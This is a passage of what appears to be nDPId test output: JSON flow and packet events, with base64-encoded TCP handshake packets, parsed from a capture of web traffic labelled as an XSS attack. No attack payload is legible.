djI47f2BEKplboeFGsOh7KXKm6JgLbu720Tc2ESwxLEV9JbVGQ24YGiaKF4bnU7T7YzjcQ\/v7aECzHNW8gqFLNkYHRSF4Qg2XOdodfL882EPzbtD9gN4P2JwJWWQA7X1IKsUeheD5NVJM9LA2d4LpGWMGIwOn8YdItMZoptikh4OAwF86X1C7SjLK88Btk8fSOJiilvMfz+iUEVi6L2lC55YscBtLGdqdtgnhis5ptYqRVsk9IFfa\/T8HBcGVxlFIKkrvOeJdZ8djmd6hRFBtvS4zhiuXpnyOeNrD1ndwIqa81xtbVkhjfSvk2fQREndITYScyqDIpxhRARdhjaNW5wasoO6RamvkGBxXNrQ\/2osLmqYsrQ4EBKWoz2l3D4VMrq1pBEcyT0D1dQ8veJ7KRQBbDkdvpzpJsINrVmCg99wV4OgEzBYSClYWPNp+jUCeQ\/SViV3SQTErXpD\/kBRHp42Vdmoh4Mpijb4lDY6GdogIhB8sosFhQxkpRbSBQeeN+OZwPcaqNIy8gOppBhwd2v\/oWKqkpQceCmS3LGkDwNHjqC+zjOYpOs2vmPPIZigSrSZtUDh6QDH8dryZ4gknwecCQrXHgbNM2Zpb8ip+HB1zCO5Tu6I3tk1ZCEnTNtbxHB7GhZtt6B9aGHi5WrnIs7i4ZUmpGOofnI\/6JwebQdE3grfB4eghpv85e6vLaiXGY3jcWjmlwfUADdo9tMt7m6FaMHod81aQahYcXcIIDZm2txWdDlqm14dyb7WOWwGpGHAE9QzUKl+\/bGgKK0419GtWVVGvwqFqHMvi6w3Q6LbW0DWKoZHqPoQNnyAXi1Bdrn0OV2Q4svUj3I9qqZ05gJ\/nE7lGXYMKR+cn5xAdE9lOER3L0qxRs6TB0YEdvp1ZbaG3Vv2KCEdnbvwAgK\/Y7tV+zxeCtoRdFYLQydhdr9vuNQvBcNb9me4CSuauL5gbwufLCjZOZMpiqhj19fNEqgzlNINqHfih7HUprod\/xQi6pZkE7H8djXxtGhb+xJczanY0upOlcsyf68o6L8pm8Y+9aPu7rG+bRLocZxzI5lSUMB1WU6+NFFHVVBCL0i26rmBp4HD2e\/QF4s3dPpXR6q2ARbvn3QOXYeVW2\/tp3y\/KBdWFaxnhhrBb62XiDNvRYNh4adjYGRa6Iaqm0AhieBRofo2jn5e1vESt8QF3DEWCYSo+gq4Kjhv3ob0x8dB3fi0xvixvPU6WBwt+zQuWcupE21nz5Lo++fPYXi\/jZTz+mMmUL3NhIjObnTsTehO4LwJPgngF46s0VzipYMp0nYQX1T2iburwyaW66nXjOFbQbla\/dQZ5JuP4sE8Eo2oZTE+lJX2nDctim8qfDM9xaYxtc314fudsgU6YKJYps5BFWcQ1mcz7VdJd9fz7QHFR7KJnHts5SIxnINFex88AyT3pv9WO6Am52EF7OEJrYQ0hFyXsbYFpJ3MtNGtNKvgU0qZgE0hfIcuiC82UTXv7IYEZomnGc+9CmNdvMzqzH3c8DUhcUcCjejoY+p2Ua5u909qLzzp0IqW5962jiDb52FQ89ao1EzCx71b1Wc59MIv+B6iyF7ARFAAA"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8108,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":572,"flow_packet_id":1,"flow_first_seen":1499347944440,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34332,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":572,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8108,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347944,"pkt_ts_usec":440148,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8SUNAAD4GfI2sEAABwKgKMoYcAFB5iuiIAAAAAKACchDTfAAAAgQFtAQCCAoBPKHLAAAAAAEDAwc="} +00445{"flow_id":572,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8109,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347944,"pkt_ts_usec":440276,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhhyVeGrjeYroiaAScSBc2gAAAgQFtAQCCAoD5nM\/ATyhywEDAwc="} +00433{"flow_id":572,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8110,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347944,"pkt_ts_usec":441033,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0SURAAD4GfJSsEAABwKgKMoYcAFB5iuiJlXhq5IAQAOX74QAAAQEICgE8ocsD5nM\/"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8117,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":573,"flow_packet_id":1,"flow_first_seen":1499347945720,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34346,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":573,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8117,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347945,"pkt_ts_usec":720318,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8sjdAAD4GE5msEAABwKgKMoYqAFDdpBE8AAAAAKACchBFYQAAAgQFtAQCCAoBPKMLAAAAAAEDAwc="} +00445{"flow_id":573,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8118,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347945,"pkt_ts_usec":720417,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhiqh1kGM3aQRPaAScSDqdwAAAgQFtAQCCAoD5nR\/ATyjCwEDAwc="} +00433{"flow_id":573,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8119,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347945,"pkt_ts_usec":721181,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0sjhAAD4GE6CsEAABwKgKMoYqAFDdpBE9odZBjYAQAOWJfwAAAQEICgE8owsD5nR\/"} +00432{"flow_id":570,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8124,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347945,"pkt_ts_usec":882955,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA07cdAAD4G2BCsEAABwKgKMoX0AFCR9XPNxOQHvYARAOWObgAAAQEICgE8ozQD5m99"} +00432{"flow_id":570,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8125,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347945,"pkt_ts_usec":883166,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0cxVAAEAGUMPAqAoyrBAAAQBQhfTE5Ae9kfVzzoARAOOJRAAAAQEICgPmdKgBPKM0"} +00432{"flow_id":570,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8126,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347945,"pkt_ts_usec":883742,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA07chAAD4G2A+sEAABwKgKMoX0AFCR9XPOxOQHvoAQAOWJQgAAAQEICgE8ozQD5nSo"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8133,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":533,"flow_packet_id":6,"flow_first_seen":1499347873465,"flow_last_seen":1499347878867,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33594,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8133,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":533,"flow_packet_id":6,"flow_first_seen":1499347873465,"flow_last_seen":1499347878867,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33594,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8133,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":534,"flow_packet_id":6,"flow_first_seen":1499347874737,"flow_last_seen":1499347879867,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33608,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8133,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":534,"flow_packet_id":6,"flow_first_seen":1499347874737,"flow_last_seen":1499347879867,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33608,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8133,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":535,"flow_packet_id":6,"flow_first_seen":1499347877292,"flow_last_seen":1499347882869,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33634,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8133,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":535,"flow_packet_id":6,"flow_first_seen":1499347877292,"flow_last_seen":1499347882869,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33634,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8133,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":536,"flow_packet_id":6,"flow_first_seen":1499347878568,"flow_last_seen":1499347883869,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33648,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8133,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":536,"flow_packet_id":6,"flow_first_seen":1499347878568,"flow_last_seen":1499347883869,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33648,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8133,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":537,"flow_packet_id":6,"flow_first_seen":1499347881141,"flow_last_seen":1499347886869,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33674,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8133,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":537,"flow_packet_id":6,"flow_first_seen":1499347881141,"flow_last_seen":1499347886869,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33674,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":8133,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":538,"flow_packet_id":6,"flow_first_seen":1499347882404,"flow_last_seen":1499347887870,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33688,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":8133,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":538,"flow_packet_id":6,"flow_first_seen":1499347882404,"flow_last_seen":1499347887870,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":33688,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8136,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":574,"flow_packet_id":1,"flow_first_seen":1499347948293,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34372,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":574,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8136,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347948,"pkt_ts_usec":293377,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8EvlAAD4GstesEAABwKgKMoZEAFDGn7d3AAAAAKACchCzjQAAAgQFtAQCCAoBPKWOAAAAAAEDAwc="} +00444{"flow_id":574,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8137,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347948,"pkt_ts_usec":293535,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhkRGWOs1xp+3eKAScSAH9gAAAgQFtAQCCAoD5ncCATyljgEDAwc="} +00433{"flow_id":574,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8138,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347948,"pkt_ts_usec":294260,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0EvpAAD4Gst6sEAABwKgKMoZEAFDGn7d4RljrNoAQAOWm\/QAAAQEICgE8pY4D5ncC"} +00432{"flow_id":571,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8142,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347948,"pkt_ts_usec":884377,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0TwVAAD4GdtOsEAABwKgKMoYOAFBjnu+FE+7OhoARAOUlswAAAQEICgE8piID5nH8"} +00432{"flow_id":571,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8143,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347948,"pkt_ts_usec":884596,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0uRBAAEAGCsjAqAoyrBAAAQBQhg4T7s6GY57vhoARAOMgGgAAAQEICgPmd5YBPKYi"} +00432{"flow_id":571,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8144,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347948,"pkt_ts_usec":885366,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0TwZAAD4GdtKsEAABwKgKMoYOAFBjnu+GE+7Oh4AQAOUgGAAAAQEICgE8piID5neW"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8148,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":575,"flow_packet_id":1,"flow_first_seen":1499347949587,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34386,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":575,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8148,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347949,"pkt_ts_usec":587000,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8QMNAAD4GhQ2sEAABwKgKMoZSAFBj7eYSAAAAAKACchDmUwAAAgQFtAQCCAoBPKbRAAAAAAEDAwc="} +00444{"flow_id":575,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8149,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347949,"pkt_ts_usec":587124,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhlIJuXRqY+3mE6AScSDs4gAAAgQFtAQCCAoD5nhGATym0QEDAwc="} +00432{"flow_id":575,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8150,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347949,"pkt_ts_usec":587886,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0QMRAAD4GhRSsEAABwKgKMoZSAFBj7eYTCbl0a4AQAOWL6QAAAQEICgE8ptID5nhG"} +00433{"flow_id":572,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8154,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347949,"pkt_ts_usec":884952,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0SUVAAD4GfJOsEAABwKgKMoYcAFB5iuiJlXhq5IARAOX2jwAAAQEICgE8pxwD5nM\/"} +00432{"flow_id":572,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8155,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347949,"pkt_ts_usec":885173,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0EnRAAEAGsWTAqAoyrBAAAQBQhhyVeGrkeYroioARAOPxPwAAAQEICgPmeJABPKcc"} +00432{"flow_id":572,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8156,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347949,"pkt_ts_usec":885726,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0SUZAAD4GfJKsEAABwKgKMoYcAFB5iuiKlXhq5YAQAOXxPQAAAQEICgE8pxwD5niQ"} +00433{"flow_id":573,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8160,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347950,"pkt_ts_usec":885535,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0sjlAAD4GE5+sEAABwKgKMoYqAFDdpBE9odZBjYARAOWEcwAAAQEICgE8qBYD5nR\/"} +00433{"flow_id":573,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8161,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347950,"pkt_ts_usec":885752,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0OAdAAEAGi9HAqAoyrBAAAQBQhiqh1kGN3aQRPoARAON\/aQAAAQEICgPmeYoBPKgW"} +00433{"flow_id":573,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8162,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347950,"pkt_ts_usec":886298,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0sjpAAD4GE56sEAABwKgKMoYqAFDdpBE+odZBjoAQAOV\/ZwAAAQEICgE8qBYD5nmK"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8169,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":576,"flow_packet_id":1,"flow_first_seen":1499347952161,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34412,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00445{"flow_id":576,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8169,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347952,"pkt_ts_usec":161752,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8St5AAD4GevKsEAABwKgKMoZsAFCk\/OOLAAAAAKACchClLQAAAgQFtAQCCAoBPKlVAAAAAAEDAwc="} +00444{"flow_id":576,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8170,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347952,"pkt_ts_usec":161888,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQhmwNHcNepPzjjKAScSBW4QAAAgQFtAQCCAoD5nrJATypVQEDAwc="} +00433{"flow_id":576,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8171,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347952,"pkt_ts_usec":162643,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0St9AAD4GevmsEAABwKgKMoZsAFCk\/OOMDR3DX4AQAOX16AAAAQEICgE8qVUD5nrJ"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":8178,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":577,"flow_packet_id":1,"flow_first_seen":1499347953439,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":34426,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":577,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":8178,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347953,"pkt_ts_usec":439364,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8+l9AAD4Gy3CsEAABwKgKMoZ6AFBhTFDKAAAAAKACchB6UQAAAgQFtAQCCAoBPKqVAAAAAAEDAwc="} 